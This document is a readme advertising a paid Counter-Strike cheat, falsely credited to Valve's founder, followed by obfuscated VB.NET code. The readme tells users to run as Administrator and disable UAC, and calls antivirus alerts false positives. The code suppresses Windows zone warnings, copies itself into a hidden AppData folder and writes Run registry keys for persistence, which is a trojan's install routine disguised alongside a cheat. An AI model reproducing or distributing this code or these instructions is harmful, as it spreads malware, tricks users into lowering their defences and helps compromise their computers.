Steam Hack v16

# Steam Hack v16

# Author - Gabe Newell

# Website - www.steampowered.com

[Private Cheats]

1: Overlay Radar & Aimbot (CS/CS:S)
#: Undetected on all Anticheats!
#: 400 Euros (12 Months)

2: CS 1.6 League Aimbot
#: Undetected on 99% of Anticheats!
#: 50 Euros (Lifetime)

Contact "aiwnjoo" at the following sites; 

# www.******************
# www.mp-hacks.de
# www.************
# www.hackforums.net

[Status]

# Steam Hack currently VAC3/HLG Proof only

# VAC3 Proof Since - March 2011

[Features]

# Custom PanicKey
# Vector AimBot / AimKey / FOV, Smooth, DrawFOV, DrawVec
# BoxESP / DistanceESP / FarESP / NameESP / VisibleESP
# PlayerGlow / WallHack / ThirdPerson
# Radar / RadarPosition (X,Y,Thickness) / RadarColour (R/G/B/A)
# CrossHair (1/2/3/4) / CrossHairColour (R/G/B/A)
# FlashRemoval / FlashPercentage (0/100%)
# BunnyHop / BunnyHopKey
# RussianDuck (1 = RussianDuckKey / 2 = LCTRL)
# TimeAndDate
# LTFXSpeed / LTFXSpeedKey (0 = Off / Value divided by 5)
# Adjustable Configurations (In/Out Game)
# Non-Steam Compatible

[Update News]

[v16] Added: Non-Steam Support

[Protection]

# Polymorphism
# Module Hiding (Several)
# DLL/EXE Packed with UPX

[Instructions]

1: Start - Steam > CS 1.6 / CZ / Other ; TAB OUT
2: Start - .exe                        ; RETURN TO GAME
3: Press the PanicKey                  ; F12 (Default)

[Compatiblity]

# x32 / x64

# For Vista/Windows7 users; 

* Run as Administrator
* Compatability mode XP
* Disable UAC
* Turn off WallHack

[Other]

# If your AV detects this as a threat, it is a false positive

[Credits]

# Valve
# Steam
# Microsoft
# GameDeception
# MP-Hacks
# Cheat-Project
# D3Scene
# hackforums
# ORGANNER
# Many Others =]

Private Shared Sub LRZEBNJQAGPQ_CHIEJNKIWMHXFnstall()
    Try 
        Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)
    Catch obj1 As Object
    End Try
    Dim str As String = BASNZ_JB.WPVWXTJPCVCOSLIZIENOWUPZNBLWFGDGZGFBWQPKOOQE.GetString("olhjtjvw")
    Dim str2 As String = BASNZ_JB.WPVWXTJPCVCOSLIZIENOWUPZNBLWFGDGZGFBWQPKOOQE.GetString("uoz_slsk")
    Dim str3 As String = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\")
    If Not BASNZ_JB.KJRWCVLEYDTFAYFIBIVTBINK.Contains((str3 & str)) Then
        Try 
            Directory.CreateDirectory((str3 & str))
        Catch obj2 As Object
        End Try
        Try 
            File.Copy(BASNZ_JB.KJRWCVLEYDTFAYFIBIVTBINK, (str3 & str & "\" & str2), True)
        Catch obj3 As Object
        End Try
        Try 
            File.SetAttributes((str3 & str), (FileAttributes.NotContentIndexed Or (FileAttributes.System Or FileAttributes.Hidden)))
        Catch obj4 As Object
        End Try
        Try 
            File.SetAttributes((str3 & str & "\" & str2), (FileAttributes.NotContentIndexed Or (FileAttributes.System Or FileAttributes.Hidden)))
        Catch obj5 As Object
        End Try
        Dim str4 As String = BASNZ_JB.WPVWXTJPCVCOSLIZIENOWUPZNBLWFGDGZGFBWQPKOOQE.GetString("pzlemoky")
        Dim str5 As String = BASNZ_JB.WPVWXTJPCVCOSLIZIENOWUPZNBLWFGDGZGFBWQPKOOQE.GetString("iivayntz")
        If Not String.IsNullOrEmpty(str4) Then
            Try 
                Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run").SetValue(str4, (str3 & str & "\" & str2))
            Catch obj6 As Object
            End Try
        End If
        If Not String.IsNullOrEmpty(str5) Then
            Try 
                Registry.LocalMachine.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run").SetValue(str4, (str3 & str & "\" & str2))
            Catch obj7 As Object
            End Try
        End If
    End If
End Sub